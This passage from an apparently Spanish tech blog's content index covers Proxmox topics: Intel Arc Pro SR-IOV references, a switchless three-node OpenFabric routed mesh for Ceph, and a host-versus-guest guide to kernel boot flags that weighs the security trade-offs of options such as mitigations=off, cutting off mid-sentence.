de 8 GB cada una en la B50, y el número máximo de VF y el tamaño de BAR fijados a nivel de IFWI sin herramienta pública para cambiarlos Intel Community — \u0026ldquo;Why did the latest Intel Arc Pro B50 firmware nerf SR-IOV VFs from 12 to 2?\u0026rdquo; — el firmware pre-oficial a 12 VF, el retorno a 32.0.101.6979 que lo restaura, y el razonamiento de Intel para el valor por defecto más bajo Level1Techs — B60 SR-IOV support in the Arc Pro drivers — los reportes de campo de lspci para la B60, la actualización de firmware igsc que expuso la capacidad, y de dónde vienen las cifras de 24-luego-7 Level1Techs — B50, B60 or B70 for SR-IOV — los números de VF reportados por tarjeta y por firmware, fuente de las filas de la B70 ASRock — Intel Arc Pro B65 Creator 32GB — las especificaciones de la B65: 32 GB GDDR6, 20 unidades de cómputo, 160 motores XMX, 256 bits, PCIe 5.0 MAXSUN — Arc Pro B60 Dual 48G Turbo — la afirmación del propio fabricante de que la tarjeta «uses PCIe 5.0 x8 + x8 interfaces and runs efficiently on consumer platforms that support PCIe x16 lane bifurcation» vLLM — Fast and affordable LLM serving on Intel Arc Pro B-Series — la historia de IA en estas tarjetas, y el hecho de que es una historia de Docker-sobre-metal-desnudo a través de cuatro y ocho B60 enteras, sin mención de SR-IOV ni funciones virtuales Linux kernel — Intel Xe driver — el driver en uso en la tarjeta, según lspci -v tmpfiles.d(5) — el tipo de línea w, y su condición «if the file exists» que dicta el orden de arriba NVIDIA Virtual GPU Software Packaging, Pricing and Licensing Guide — la alternativa licenciada que este diseño evita: vApps, vPC y RTX vWS vendidos todos por usuario concurrente, como suscripción anual o como licencia perpetua empaquetada con cinco años de soporte y mantenimiento Proxmox VE — PCI(e) Passthrough — los requisitos de passthrough del lado del host ","permalink":"https://blogs.damiendye.uk/es/proxmox/licence-free-vdi-intel-arc-pro-sriov/","summary":"Las tarjetas Arc Pro de Intel hacen SR-IOV de forma nativa, sin licencia de vGPU que comprar — lo que hace que un VDI de Windows sin licencia en Proxmox sea de verdad posible. Todo el montaje sobre una B50, el problema del arranque con Windows primero, por qué el firmware lo limita a dos funciones virtuales, y cuántas te da cada tarjeta de la serie B.","title":"VDI de Windows sin licencia en Proxmox con una Intel Arc Pro B50 — y el límite de firmware que lo paró"},{"content":"El switch que no compras Un clúster Proxmox de tres nodos con Ceph quiere una red rápida entre los nodos. La respuesta habitual es un switch de 100 Gbit, y la objeción habitual es lo que cuesta.\nHay otra respuesta para tres nodos: cablearlos derecho unos a otros en triángulo y enrutar a través de él. Ningún switch en el camino de almacenamiento.\nEl componente más barato de cualquier diseño es el que no compras, y es el único que no falla nunca.\nEso te compra cuatro cosas.\nEl coste del switch desaparece. Necesitas tarjetas de red y tres cables, no un switch de 100 o 200 Gbit con el número de puertos que le acompaña.\nEl camino de datos no tiene punto único de fallo. Un switch que falla o se reinicia se lleva con él todo el tráfico este-oeste del clúster. Los nodos cableados directamente entre sí no se preocupan por lo que le pase a un switch en otra parte del edificio.\nEl tráfico pesado va por sus propios cables. La migración en vivo y la replicación de Ceph se quedan en el mesh en vez de competir con el tráfico de oficina y de administración.\nAgrandarlo es un trabajo de cableado, no de presupuesto de puertos. No hay caja central que haga de techo de ancho de banda o de número de puertos, así que el fabric crece mientras cada servidor tenga una ranura PCIe libre. OpenFabric enruta sobre los enlaces nuevos por sí solo.\nY un límite honesto, porque importa más que las cuatro ventajas. Un mesh completo necesita un cable entre cada par de nodos. Tres nodos son tres cables. Cuatro, seis. Cinco, diez. El cableado crece más rápido que el número de nodos, y este diseño no sobrevive más allá de un clúster pequeño sin pasar a algo conmutado, como leaf-spine.\nTres nodos es exactamente donde un mesh completo tiene sentido. Más allá, con dos puertos de mesh por nodo, lo que aún puedes construir es un anillo — y eso necesita una cosa que este montaje por lo demás evita, tratada más abajo.\nQué se construye Tres hosts Proxmox VE, cada uno con dos interfaces de 100 Gbit dedicadas, cableados en triángulo de modo que cada nodo tenga dos vecinos directos.\nEl SDN de Proxmox hace el enrutamiento. OpenFabric es el protocolo: calcula el mejor camino a través del mesh, y cuando se tira de un cable o cae un enlace reenruta por el camino restante. Nadie inicia sesión.\nEl fabric vive en 10.10.10.0/24, reservado para el mesh y nada más — ni administración, ni invitados, ni direccionamiento de almacenamiento, ni nada externo.\nNodo Dirección de mesh Interfaces de mesh mesh1 10.10.10.1/32 nic1, nic2 mesh2 10.10.10.2/32 nic1, nic2 mesh3 10.10.10.3/32 nic1, nic2 Cada nodo recibe un /32, no una porción de la subred. Ese es el sentido de un mesh enrutado en vez de puenteado. La dirección identifica el nodo, OpenFabric la anuncia, y los dos enlaces físicos son solo caminos para alcanzarlo. Proxmox crea una interfaz loopback ficticia para sostenerla.\nEl triángulo de tres nodos, y en qué NIC aterriza cada cable switch de 2,5 Gbit administración + cliente mesh1 10.10.10.1/32 mesh2 10.10.10.2/32 mesh3 10.10.10.3/32 DAC-01 nic1 ↔ nic1 DAC-03 nic2 ↔ nic2 DAC-02 mesh2 nic2 ↔ mesh3 nic1 nic0 nic0 nic0 Cada nodo alcanza a los otros dos directamente, así que cada salto del mesh es un salto único. Los enlaces nic0 punteados son el camino de administración de 2,5 Gbit aparte — nunca parte del fabric, y la razón de que aún puedas iniciar sesión si el mesh está roto. Tres cables, seis puertos, y dos caminos hacia cada nodo. Tira de cualquier cable y cada nodo sigue siendo alcanzable — los dos enlaces restantes forman una cadena que OpenFabric rodeará. El cableado Cables DAC de fibra activa, en triángulo, con jumbo frames habilitados en ambas interfaces de mesh en cada nodo.\nCable De A DAC-01 mesh1 nic1 mesh2 nic1 DAC-02 mesh2 nic2 mesh3 nic1 DAC-03 mesh3 nic2 mesh1 nic2 Fibra activa en vez de DAC de cobre, por dos razones que van del rack más que de la red:\nGestión del cableado. Los DAC de fibra activa son más finos y mucho más flexibles que el cobre, así que se tienden limpiamente y no se amontonan detrás de los servidores. Flujo de aire. Menos volumen de cable detrás del chasis significa menos estorbo al flujo de aire de delante hacia atrás, lo que importa cuando varios enlaces de alta velocidad aterrizan en las mismas pocas unidades de rack. Dos redes, no una El mesh no es la única red, y no debe convertirse en ella.\nCada nodo tiene nic0 en un switch de 2,5 Gbit, presentado a Proxmox como el puente vmbr0. Eso lleva la interfaz web, el acceso de administración y el tráfico de cliente. Es también el camino que usas mientras construyes el fabric, y por eso tiene que ser independiente de él.\nnic0 se deja fuera del fabric a propósito. Solo nic1 y nic2 se seleccionan cuando se crean los nodos del fabric.\nEl mesh lleva tres cosas:\nCeph. Replicación, recuperación y backfill de nodo a nodo para el almacenamiento hiperconvergido. Red virtual de cliente. Las VNets respaldadas por VXLAN estiran las redes de los invitados por los tres nodos, usando el mesh enrutado como underlay. Corosync, como segundo camino. El tráfico de pertenencia al clúster corre por la red de administración y por el mesh, así que el quórum no depende de que sobreviva ninguno de los dos por su cuenta. Qué va por la red de administración, qué va por el mesh, y lo único que está en ambos Red de administración de 2,5 Gbit nic0 → vmbr0 → switch Interfaz web de Proxmox Acceso de administración Tráfico de cara al cliente Mesh enrutado de 100 Gbit nic1 + nic2 → DAC directo, sin switch Replicación, recuperación y backfill de Ceph Redes virtuales de cliente VXLAN Migración en vivo Corosync — ambos caminos La pertenencia al clúster no depende de que sobreviva ninguna de las dos redes por su cuenta. La separación es el diseño. La administración sigue alcanzable sea cual sea el estado de las interfaces de 100 Gbit lo que hace seguro construir — y deshacer — el fabric desde la interfaz web. Corosync es lo único que está en ambos. Todo lo demás tiene exactamente un hogar — y el acceso de administración es el que tiene que seguir funcionando mientras cambias el otro. La regla que merece escribirse en el ticket de cambio: la administración y el acceso de cliente permanecen disponibles a través del switch de 2,5 Gbit en todo momento, sea cual sea el estado de las interfaces de 100 Gbit.\nTodo por la interfaz web Este montaje se hace enteramente en la interfaz web de Proxmox. Es una elección deliberada, no un límite de la herramienta.\nNo usado, a propósito:\nEditar /etc/network/interfaces a mano. Editar los archivos de configuración de FRR a mano. vtysh como método de construcción. Proxmox genera la configuración de red y enrutamiento subyacente a partir de los objetos SDN que defines. Si algo de verdad no se puede fijar en la interfaz, eso merece señalarse como prerrequisito en vez de arreglarse a escondidas en la línea de comandos. La siguiente persona que abra la interfaz web no sabrá que lo hiciste.\nLa salida de línea de comandos aparece abajo solo como prueba, nunca como paso de construcción.\nLa construcción 1. Abre la interfaz web de Proxmox y ve a Datacenter → SDN → Fabrics.\n2. Añade el fabric. Nómbralo, dale el prefijo del mesh, y fija los temporizadores.\nIntervalos Hello y CSNP de 1 actualizan el estado lo más rápido posible cuando algo cambia, que es lo que quieres en un fabric tan pequeño. El coste es más charla del plano de control. Irrelevante en tres nodos con dos enlaces cada uno, digno de una segunda reflexión si el fabric llega a crecer.\n3. Añade cada nodo con Add node. Dale una dirección del rango del mesh y marca las interfaces que participan.\nFíjate en lo que no está marcado: nic0 se queda fuera, y vmbr0 conserva la dirección de administración. Usa Create another para los dos primeros nodos y Create en el último.\n4. Comprueba el resultado antes de aplicarlo.\nTres nodos, tres direcciones, nic1, nic2 en cada uno, todos marcados new — todavía no se ha escrito nada.\n5. Aplica la configuración SDN.\nHay un Dry-Run junto a Apply si prefieres ver primero lo que pretende hacer.\nSaber que funcionó La vista de estado debería mostrar las entradas de zona y de fabric ok en los tres nodos, y ningún cambio pendiente por aplicar.\nLuego comprueba el fabric desde el propio punto de vista de un nodo. Las rutas primero — cada nodo debería tener un /32 hacia cada uno de los otros, y la columna Via te dice qué vecino está usando.\nLos vecinos después. Dos, ambos Up, en un triángulo de tres nodos.\nLuego las interfaces, que es donde se ve la forma de la cosa: dummy_Mesh como el loopback que sostiene la dirección del router, y nic1 y nic2 como Point-To-Point en vez de segmentos de difusión.\nPor último, demuéstralo de punta a punta.\nSin pérdida, y medias de 0,134 ms y 0,141 ms. Ambos vecinos están a un salto directo de distancia, que es lo que da un triángulo.\nLa comprobación que merece hacerse y que ninguna captura puede mostrar: tira de un cable y confirma que todo sigue siendo alcanzable. Esa es la razón entera de elegir un mesh enrutado en vez de un par de enlaces punto a punto. Como tal, es la única prueba que importa.\nMás allá de tres nodos: el anillo Un triángulo es un mesh completo. Cada nodo tiene un cable directo hacia cada otro nodo, cada salto es un salto único, y ningún nodo lleva nunca tráfico que no sea el suyo.\nEsa propiedad es lo que dos puertos de mesh por nodo te compran con tres nodos, y es exactamente lo que pierdes con cuatro. No una parte. Toda. Un mesh completo de cuatro nodos necesita tres puertos cada uno. Con dos, lo máximo que puedes cablear es un anillo.\nUn anillo cambia el modelo de tráfico. Los nodos adyacentes siguen teniendo un cable directo, pero los nodos en lados opuestos del anillo no — su tráfico tiene que cruzar un nodo intermedio. Y ese nodo tiene que estar dispuesto a reenviar paquetes entre sus dos interfaces de mesh, cosa que Linux no hace por defecto. El kernel documenta ip_forward como «Forward Packets between interfaces» con «Default: 0 (disabled)» — reenviar paquetes entre interfaces, por defecto 0, desactivado.\nUn anillo de cuatro nodos: los nodos opuestos no tienen cable, así que un nodo reenvía por ellos mesh1 10.10.10.1 mesh2 reenvía mesh3 10.10.10.3 mesh4 10.10.10.4 mesh1 → mesh3 sin cable entre ellos así que cruza mesh2 nodo de tránsito reenvía entre nic1 y nic2 Mesh completo con 4 nodos 6 cables, 3 puertos por nodo sin tránsito, sin reenvío Anillo: 4 cables, 2 puertos — que es por lo que estás aquí Dos de los seis pares de nodos no tienen cable directo. Su tráfico lo lleva un vecino, lo que significa que los enlaces de ese vecino llevan la replicación de Ceph de otros nodos además de la suya — el coste que el triángulo no tiene. mesh1 hacia mesh3 no tiene cable. Su tráfico cruza mesh2 o mesh4, y ese nodo solo lo reenvía porque el reenvío está habilitado en las dos interfaces por las que llega. Actívalo para las interfaces de mesh, y solo para esas:\n# /etc/sysctl.d/99-mesh-forwarding.conf net.ipv4.conf.nic1.forwarding = 1 net.ipv4.conf.nic2.forwarding = 1 sysctl --system Léelos de vuelta en vez de suponer:\nsysctl net.ipv4.conf.nic1.forwarding net.ipv4.conf.nic2.forwarding El ajuste por interfaz es el alcance correcto aquí, y funciona por sí solo. El net.ipv4.ip_forward global no es un prerrequisito. La decisión de reenvío del kernel lee el valor propio de la interfaz de recepción:\n#define IN_DEV_FORWARD(in_dev) IN_DEV_CONF_GET((in_dev), FORWARDING) IN_DEV_CONF_GET devuelve el ajuste de ese dispositivo, no un Y lógico con el global. Así que nic1 y nic2 reenvían el tráfico de tránsito del fabric mientras nic0 y vmbr0 se quedan exactamente como deben estar: interfaces de host que no enrutan. Activar el interruptor global convertiría cada interfaz de la máquina en un router, incluida la que mira a tu red de oficina. Eso es algo que este diseño no necesita para nada.\nUna cosa que saber sobre el interruptor IPv4 global aunque no lo pongas: net.ipv4.ip_forward es un ajustador en bloque, y por eso la documentación del kernel advierte que cambiarlo «resets all configuration parameters to their default state» — restablece todos los parámetros de configuración a su estado por defecto. Si cualquier otra cosa del host lo escribe alguna vez, sobrescribe estos valores por interfaz. Bueno saberlo antes de pasar una tarde buscando por qué el tránsito dejó de funcionar.\nIPv6 es la excepción, y es el único sitio donde el interruptor global tiene su lugar. La documentación del kernel lo dice directamente bajo conf/all/forwarding:\nEnable global IPv6 forwarding between all interfaces. IPv4 and IPv6 work differently here; the force_forwarding flag must be used to control which interfaces may forward packets.\nAsí que no hay equivalente IPv6 del pulcro enfoque por interfaz de arriba. Si el fabric lleva IPv6 habilitas el reenvío globalmente y luego lo acotas con force_forwarding, documentado como «Enable forwarding on this interface only — regardless of the setting on conf/all/forwarding» — habilita el reenvío solo en esta interfaz, sea cual sea el ajuste de conf/all/forwarding. Fíjate en que el mismo sobrescrito aplica al revés: poner conf.all.forwarding a 0 restablece force_forwarding en todas las interfaces.\nEl montaje de arriba deja vacío el prefijo IPv6 del fabric, así que nada de eso aplica aquí — solo importa si añades uno.\nFíjate en lo que el reenvío no cambia: OpenFabric ya anunciaba el /32 de cada nodo y ya calculaba el camino a través del anillo. El reenvío es el permiso que faltaba, no la inteligencia que faltaba. La tabla de enrutamiento estuvo bien desde el principio. El kernel simplemente se negaba a hacer de router.\nLo que cuesta el anillo, comparado con el triángulo:\nTráfico de tránsito. En un anillo de cuatro nodos, los dos pares diagonales cruzan un nodo intermedio, así que su tráfico consume el ancho de banda del enlace de ese nodo además del suyo. Ceph lo nota primero, porque la replicación es de todos a todos en vez de de vecino a vecino. Un salto de latencia extra en esos caminos, encima de las cifras habituales por debajo del milisegundo del diseño sin switch. Menos margen ante fallos. Un enlace roto convierte un anillo en una cadena: sigue del todo conectado, pero con caminos más largos y más tránsito. Una segunda rotura parte el clúster. Un triángulo tolera una rotura sin tránsito alguno. Y empeora de una forma más fácil de dibujar que de describir. Añade un quinto nodo y la mitad de cada par de nodos del clúster depende de que otro reenvíe:\nUn anillo de cinco nodos: la mitad de los pares de nodos depende ahora de que otro reenvíe mesh1 mesh2 mesh3 mesh4 mesh5 cable — directo, un salto sin cable — necesita que un vecino reenvíe Cinco nodos, dos puertos cada uno 10 pares de nodos en total 5 tienen un cable directo 5 no, y transitan por un vecino Cada nodo reenvía ahora tráfico que no es el suyo. ¿Un mesh completo en su lugar? 10 cables, y 4 puertos por nodo — dos NIC más en cada servidor, que es donde el diseño se detiene. Con tres nodos nada transita. Con cuatro, dos pares sí. Con cinco, la mitad — y una sola rotura alarga todos los caminos. Diez pares de nodos, cinco cables. Las líneas discontinuas son los pares sin cable entre ellos — cada uno de esos es tráfico de Ceph que viaja por los enlaces de un tercer nodo. El mesh completo que lo evitaría quiere cuatro puertos por servidor. Ese es el techo real de este diseño, y no es el protocolo de enrutamiento. OpenFabric se las apaña bien. Es que los puertos por nodo son fijos, así que pasados los tres nodos cada máquina nueva convierte más de tu tráfico en tránsito de otro.\nY la nota honesta, porque importa para un montaje que ha sido solo de interfaz web hasta aquí: un sysctl no es una acción de interfaz web. Por la regla puesta antes, eso lo convierte en un prerrequisito que señalar en vez de algo que arreglar a escondidas en la línea de comandos — escríbelo en el runbook, porque la siguiente persona que abra el panel SDN verá un fabric sano y ninguna pista de que un anillo depende de un archivo en /etc/sysctl.d.\nDeshacerlo La retirada es la construcción al revés, en la misma interfaz: borra los objetos SDN creados para el mesh, aplica la configuración, y confirma que el acceso de administración queda intacto.\nEse último paso es la razón de que nic0 y el switch de 2,5 Gbit existan. Si deshacer el mesh pudiera costarte la interfaz web, el diseño estaba mal antes de empezar.\nAntes de empezar El acceso de administración es de verdad independiente del mesh. Compruébalo, no lo supongas. Los tres nodos están sanos antes de cualquier cambio SDN. Los nombres de nodo, los nombres de interfaz y el cableado están anotados, porque que nic1 en un host sea nic2 en otro es una mala tarde. Los jumbo frames están puestos en ambas interfaces de mesh, y el MTU tiene en cuenta la sobrecarga de VXLAN en el underlay. El rango del mesh está reservado y no se usa en ninguna otra parte. Referencias Proxmox VE — Software-Defined Network — la documentación de SDN Fabrics. Los fabrics «provide automated routing between nodes in a cluster», OpenFabric está «based on IS-IS and optimized for the spine-leaf topology common in data centers», cada nodo necesita un Router-ID único, y «a dummy \u0026rsquo;loopback\u0026rsquo; interface with the router-id is automatically created» Proxmox VE — Cluster Manager — la red de Corosync y los enlaces redundantes, tras el diseño de pertenencia por dos caminos Proxmox VE — Deploy Hyper-Converged Ceph Cluster — las expectativas de red de un clúster hiperconvergido Linux kernel — IP sysctl documentation — ip_forward y su valor por defecto de 0, el control forwarding por interfaz, y la advertencia de que cambiar el interruptor global restablece la configuración por interfaz ","permalink":"https://blogs.damiendye.uk/es/proxmox/proxmox-routed-mesh-sdn-openfabric/","summary":"Tres nodos Proxmox cableados directamente entre sí en triángulo, con OpenFabric enrutando sobre el mesh y Ceph más redes de cliente VXLAN montadas encima. Construido enteramente en la interfaz web, y honesto sobre dónde el diseño deja de escalar.","title":"Un mesh Proxmox sin switch con SDN OpenFabric — Ceph y redes de cliente sin un switch de 100G"},{"content":"El problema con las líneas de arranque copiadas Busca ajuste de Proxmox y encontrarás una sola línea larga GRUB_CMDLINE_LINUX, presentada como una unidad, sin ninguna indicación de qué flags aplican dónde.\nEso importa más de lo que suena. El hipervisor y el invitado están resolviendo problemas opuestos.\nEl host quiere acceso determinista al hardware real: comportamiento del IOMMU, estados de enlace PCIe, estados de reposo físicos. El invitado quiere dejar de fingir que tiene hardware en absoluto — sus temporizadores son aproximaciones, sus estados de reposo son ficción, y sus atascos suelen ser el planificador de otro. Por eso, el mismo flag puede ser correcto en un lado, inútil en el otro, y de vez en cuando dañino.\nDebajo está dónde va cada uno de verdad.\nDónde va cada flag de arranque del kernel Solo host el hardware real vive aquí iommu=pt amd_iommu=pgtbl_v2 pcie_acs_override=… pcie_aspm=off pci=pcie_bus_perf → pcie_bus_safe si USB4 processor.max_cstate=1 + intel_idle.max_cstate en Intel amd_pstate=disable pon un governor también El invitado no tiene enlaces PCIe, sin C-states y sin cpufreq. Solo invitado deja de fingir que es hardware cpuidle.off=1 los estados de reposo del invitado son ficción nmi_watchdog=0 una vCPU desplanificada lo dispara softlockup_panic=0 el atasco fue culpa del host Deja kvm-clock en paz. No fuerces tsc ni hpet — los contadores no son tuyos. En el host estos tres todos significan algo distinto, y dos de ellos te cuestan algo real. Ambos — razones distintas mismo flag, decisión aparte mitigations=off host: fugas de invitado a host invitado: aislamiento de procesos default_hugepagesz + hugepages host: respalda la RAM del invitado invitado: respalda una aplicación elige una capa, no ambas watchdog_thresh / nowatchdog host: ruido que aceptaste invitado: nunca de fiar «Ambos» no significa que debas ponerlo en ambos sitios. Significa que la decisión tiene que tomarse dos veces. Ninguno — estos no hacen nada amd_iommu=on no es una opción válida; el kernel registra «Unknown option - 'on'» y sigue consoleblank=0 ya es el valor por defecto del kernel Si una línea de arranque copiada contiene cualquiera de estos, nunca se verificó contra /proc/cmdline — que es la comprobación más barata disponible, y la que pilla el error de gestor de arranque equivocado también. Los flags en circulación, ordenados. Dos de los populares no hacen nada en ningún lado, y la fila del watchdog es una verdadera cuestión de criterio y no una regla. Primero: ¿estás siquiera editando el fichero correcto? Una instalación de Proxmox sobre raíz ZFS arranca con systemd-boot, donde /etc/default/grub no lo lee nadie. Editarlo y reiniciar no produce cambio ni error. Esa es una hora frustrante.\nproxmox-boot-tool status # tells you which bootloader is in use # systemd-boot: edit /etc/kernel/cmdline, then proxmox-boot-tool refresh # GRUB: edit /etc/default/grub, then update-grub En cualquier caso, verifica en vez de suponer:\ncat /proc/cmdline Y del lado de GRUB, usa GRUB_CMDLINE_LINUX_DEFAULT, no GRUB_CMDLINE_LINUX. Este último aplica a cada entrada de arranque incluida la de recuperación — y la recuperación es justo cuando quieres comportamiento de fábrica, no mitigaciones desactivadas y C-states fijados.\nLa línea del host IOMMU y passthrough iommu=pt amd_iommu=pgtbl_v2 pcie_acs_override=downstream,multifunction iommu=pt pone el IOMMU en modo passthrough: los dispositivos asignados a VM se traducen, los dispositivos nativos del host se saltan la traducción. Es real y se maneja en arch/x86/kernel/pci-dma.c, que llama a iommu_set_default_passthrough(true). El kernel lo documenta como equivalente a iommu.passthrough=1.\namd_iommu=on no existe. Este es el parámetro inexistente más copiado en las guías de Proxmox. El parse_amd_iommu_options() del kernel acepta fullflush, force_enable, off, force_isolation, pgtbl_v1, pgtbl_v2, irtcachedis, nohugepages y v2_pgsizes_only. Cualquier otra cosa acaba aquí:\npr_notice(\u0026#34;Unknown option - \u0026#39;%s\u0026#39;\\n\u0026#34;, str); AMD-Vi está activado por defecto cuando el firmware lo anuncia. Comprueba tu propio log y encontrarás que el parámetro nunca estuvo haciendo el trabajo que se le atribuía:\ndmesg | grep -i \u0026#34;AMD-Vi\\|Unknown option\u0026#34; amd_iommu=pgtbl_v2 sí es válido — selecciona el formato de tabla de páginas DMA v2, que comparte la estructura de tabla de páginas de la CPU en vez de usar la propia de AMD. Dos cosas que saber: la documentación lo acota a la DMA-API, es decir los dominios de dispositivo propios del host y no los dominios VFIO usados para passthrough; y falla de forma segura con una línea de log que deberías buscar:\nif (amd_iommu_pgtable == PD_MODE_V2) { if (!amd_iommu_v2_pgtbl_supported()) { pr_warn(\u0026#34;Cannot enable v2 page table for DMA-API. Fallback to v1.\\n\u0026#34;); amd_iommu_pgtable = PD_MODE_V1; } } Así que vale la pena medirlo en un nodo con IO pesada del lado del host, y vale la pena verificar que de verdad lo conseguiste.\npcie_acs_override=downstream,multifunction es el parche fuera del árbol de Proxmox. Separa los grupos de IOMMU afirmando un aislamiento que el hardware no anuncia, que es lo que hace posible el passthrough en placas de consumo. También es, exactamente, decirle al kernel algo falso sobre la topología. Bien en una máquina cuyos invitados te fías de ellos tanto como del host. No bien de otro modo. Hay más sobre el porqué en el artículo del impuesto del IOMMU.\nLatencia y jitter pcie_aspm=off processor.max_cstate=1 amd_pstate=disable pcie_aspm=off mantiene los enlaces PCIe fuera de los estados de bajo consumo para que una IO que llega nunca espere a que uno despierte. Cuesta unos pocos vatios por enlace y quita una cola de latencia difícil de diagnosticar. Ver ASPM de PCIe y passthrough.\nprocessor.max_cstate=1 tapa el reposo ACPI en C1. Fíjate en el driver: este es el mando de processor/acpi_idle, así que en Intel necesitas intel_idle.max_cstate=1 también, porque intel_idle tiene prioridad. En AMD este es el correcto.\nHay un contraargumento real. El sueño profundo en los núcleos inactivos es lo que le da al paquete margen térmico y de energía para hacer boost en los ocupados, así que fijar todo en C1 puede bajar tu frecuencia pico de un solo hilo mientras sube el consumo en reposo. En un host sensible a la latencia ese trato suele valer la pena. En un host que persigue rendimiento puede que no. Mídelo en vez de heredarlo.\namd_pstate=disable recae en acpi-cpufreq. Vale la pena conocer las alternativas documentadas antes de echar mano de él: passive (el driver pide un nivel de rendimiento), active (el driver EPP, sesgando hacia rendimiento o eficiencia), y guided. active con un sesgo de rendimiento, o passive más el governor performance, a menudo consigue la misma latencia manteniendo el control más fino de CPPC. Y si lo desactivas, pon un governor a propósito — acabar en acpi-cpufreq con schedutil puede ser un paso atrás.\nMemoria default_hugepagesz=1G hugepages=64 default_hugepagesz=1G por sí solo no reserva nada. El kernel lo documenta como que fija «the size of the default HugeTLB page… the default hugetlb size used for shmget(), mmap() and mounting hugetlbfs» — una unidad, no una asignación. La asignación viene de hugepages=, documentado como «Number of HugeTLB pages to allocate at boot».\nEso importa mucho más para páginas de 1 GiB que de 2 MiB, porque las regiones contiguas de 1 GiB son efectivamente inobtenibles una vez que el host lleva un rato levantado y ha fragmentado la memoria. El arranque es tu única oportunidad fiable.\nLuego el invitado tiene que optar por ellas (hugepages: 1024 en la configuración de la VM). Las páginas reservadas que nada usa son solo memoria que no puedes recuperar, y pierdes el ballooning y KSM en las VM que las usan.\nEl compromiso de seguridad mitigations=off Esto no es un solo interruptor. El kernel lo expande a una lista, y en un hipervisor estas son las entradas que importan:\nl1tf=off mds=off mmio_stale_data=off kvm.nx_huge_pages=off gather_data_sampling=off retbleed=off spec_rstack_overflow=off nospectre_v2 nopti indirect_target_selection=off El propio resumen del kernel es «improves system performance, but it may also expose users to several CPU vulnerabilities» — mejora el rendimiento del sistema, pero también puede exponer a los usuarios a varias vulnerabilidades de la CPU. L1TF, MDS y MMIO stale data son específicamente caminos de fuga de invitado a host y de invitado a invitado, y kvm.nx_huge_pages es la mitigación de iTLB-multihit dentro del propio KVM.\nDefendible en una máquina de un solo inquilino donde cada invitado es tan de fiar como el host. No defendible donde los invitados no son de fiar o pertenecen a inquilinos distintos. Y fíjate en que se apila con pcie_acs_override: dos garantías de aislamiento independientes quitadas en la misma línea. Vale la pena hacerlo a propósito y no por herencia.\nEl PCIe sobre USB4 cambia dos de estos Si tus dispositivos PCIe llegan sobre USB4 o Thunderbolt — una GPU externa o una caja NVMe — dos de las respuestas de arriba cambian.\nEl ajuste de MPS deja de ser gratis En ranuras fijas, pci=pcie_bus_perf es una pequeña victoria gratis. El kernel lo describe como:\nSet device MPS to the largest allowable MPS based on its parent bus. Also set MRRS (Max Read Request Size) to the largest supported value… for best performance.\nLa trampa es que configura los puentes en el arranque, a partir de la topología presente en el arranque. Sobre USB4 el hot-plug es el caso normal, y un dispositivo añadido después puede soportar un MPS más pequeño que aquel al que ya se puso el puente.\nEl kernel dice la parte callada en voz alta mientras anuncia una política distinta:\npcie_bus_peer2peer — Set every device\u0026rsquo;s MPS to 128B, which every device is guaranteed to support… This also guarantees that hot-added devices will work.\nSolo una política lleva esa garantía, y es la que fija todo a 128 bytes — exactamente lo que el ajuste de MaxPayloadSize se propone escapar. Para una topología de hot-plug, pcie_bus_safe (el mayor valor soportado por todos los dispositivos bajo el complejo raíz) o simplemente dejar tune_off es el punto de partida más seguro. El propio switch del túnel tapa el MPS alcanzable de todas formas, así que el techo nunca fue tuyo para subirlo.\nPor qué el hot-plug cambia la respuesta de política de MPS En el arranque,\u0026#160;pcie_bus_perf\u0026#160;configura el puente a partir de lo que puede ver puente — MPS 512 dispositivo A · 512 dispositivo B · 512 presente en el arranque añadido en caliente · solo 256 desajuste nada renegociado En un chasis eso nunca pasa — la topología en el arranque es la topología para siempre. En un puerto USB4 es el caso normal. Las cuatro políticas, y cuál dice el kernel que es segura para hot-plug pcie_bus_tune_off deja los valores de la BIOS en paz pcie_bus_safe el mayor valor que soportan todos los dispositivos bajo el complejo raíz pcie_bus_perf el mayor que permite el bus padre, por dispositivo — más MRRS pcie_bus_peer2peer 128 B en todas partes — \"guarantees that hot-added devices will work\" Solo una política lleva esa garantía, y es la que tira el tamaño de carga que estabas ajustando. El puente se configura una vez, en el arranque, a partir de los dispositivos presentes entonces. Todo lo posterior tiene que vivir con la decisión — que va bien en un chasis y no va bien en un puerto. El apilamiento de seguridad se pone serio PCIe externo significa que alguien puede enchufar un dispositivo capaz de DMA en tu hipervisor. La documentación de Thunderbolt del kernel es directa al respecto:\n…the connected devices can be DMA masters and thus read contents of the host memory without CPU and OS knowing about it. There are ways to prevent this by setting up an IOMMU but it is not always available for various reasons.\nEl IOMMU es la defensa. Ahora cuenta lo que la línea del host le hace. iommu=pt da a los dispositivos propios del host dominios de identidad sin traducir, pcie_acs_override afirma un aislamiento que no está ahí, y mitigations=off desactiva las mitigaciones de aislamiento de invitados. Cada uno es defendible por sí solo. Juntos, en una máquina con un puerto USB4 físicamente alcanzable, se apilan.\nComprueba dónde estás:\ncat /sys/bus/thunderbolt/devices/domain*/security # none | user | secure | dponly | usbonly none junto a esa línea de arranque es una puerta abierta. Si los puertos son alcanzables por gente a la que no le darías root, iommu=pt es lo primero que yo reconsideraría.\nLa línea del invitado Estos son los que van dentro de la VM, y tres de ellos significan aquí algo distinto de lo que significarían en el host.\nnmi_watchdog=0 softlockup_panic=0 cpuidle.off=1 cpuidle.off=1 desactiva el subsistema cpuidle. En un invitado eso es casi gratis: los estados de reposo del invitado son emulación, y no hay núcleo físico que dormir, así que todo lo que el framework te compra es latencia de despertar. En el host el mismo flag es un compromiso real de energía y margen de boost, y se solapa con processor.max_cstate=1. Solo del lado del invitado.\nsoftlockup_panic=0 impide que un soft lockup entre en pánico en el invitado. Esto es genuinamente protector en una VM, porque un soft lockup ahí frecuentemente no es culpa del invitado. Una vCPU desplanificada tiene exactamente el mismo aspecto que una tarea que se negó a ceder. Ese es el mismo mecanismo detrás de por qué no se puede fiar del reloj de una VM. Comprueba si lo necesitas, de todas formas. Es 0 por defecto en la mayoría de las builds.\nsysctl kernel.softlockup_panic nmi_watchdog=0 es el interesante, y merece más que una regla.\nLa cuestión del watchdog Hay dos detectores compartiendo un umbral:\nwatchdog_thresh= — Set the hard lockup detector stall duration threshold in seconds. The soft lockup detector threshold is set to twice the value. A value of 0 disables both. Default is 10 seconds.\nEl hard lockup (nmi_watchdog) se dispara cuando una CPU deja de tomar interrupciones de temporizador del todo. El soft lockup se dispara cuando una tarea acapara una CPU el doble de tiempo sin planificar.\nEn un invitado, desactivar el detector de hard lockup es correcto. Una vCPU desplanificada puede dispararlo sin culpa propia, y el trabajo de contadores de rendimiento del detector causa salidas de VM por una señal que no era más que 